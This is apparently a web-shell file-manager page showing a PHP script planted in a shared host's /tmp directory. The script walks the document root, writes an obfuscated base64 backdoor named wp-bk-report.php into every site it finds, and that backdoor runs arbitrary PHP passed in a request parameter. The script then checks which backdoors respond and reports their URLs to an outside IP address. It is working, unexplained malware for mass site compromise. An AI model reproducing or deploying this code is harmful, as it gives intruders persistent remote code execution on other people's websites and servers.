https://t.me/RX1948
Server : Apache
System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64
User : p141464 ( 418825)
PHP Version : 7.4.33.12
Disable Function : NONE
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //tmp/fgdfgdfg
<?php echo ":#009009#:";
$file_to_search = "index.";
$dop = $_GET['ptz'];

@search_file($_SERVER['DOCUMENT_ROOT'].$dop,$file_to_search);

function search_file($dir,$file_to_search){

$files = scandir($dir);

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);

    if(!is_dir($path)) {
		if (strpos($value,$file_to_search) !== false) {
		
			$dirname = basename(dirname($path));
			$dirname_2 = basename(dirname(dirname($path)));
			if (($dirname == "public_html" && strpos($dirname_2,".") !== false) || strpos($dirname,".") !== false){
				make_sh(dirname($path));
			}
			
			
			
        }

    } else if($value != "." && $value != "..") {

        search_file($path, $file_to_search);

    }  
 } 
}

function make_sh($dir) {

	
	
	$site_name = basename($dir);
	if($site_name == "public_html"){
		$site_name = basename(dirname($dir));
	}
	@file_put_contents($dir."/wp-bk-report.php",base64_decode('PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3RlbXBvdGVtcGwnLCc8P3BocCAnLmJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWydxJ10pKTsgaW5jbHVkZSgndGVtcG90ZW1wbCcpOyB1bmxpbmsoJ3RlbXBvdGVtcGwnKTsgPz4='));
	$r = @file_get_contents("http://".$site_name."/wp-bk-report.php?q=ZWNobyAzNjc0NTc0NTc7");
	if(strpos($r,"367457457") !== false){
		//echo "http://".$site_name."/wp-bk-report.php<#>";
		@file_get_contents("http://185.212.131.7/pt.php?f=1&g=http://".$site_name."/wp-bk-report.php");
		return;
		
	}
	$r = @file_get_contents("https://".$site_name."/wp-bk-report.php?q=ZWNobyAzNjc0NTc0NTc7");
	if(strpos($r,"367457457") !== false){
		//echo "https://".$site_name."/wp-bk-report.php<#>";
		@file_get_contents("http://185.212.131.7/pt.php?f=1&g=https://".$site_name."/wp-bk-report.php");
		return;
		
	}
	
}
echo "#already exist#:";

https://t.me/RX1948 - 2025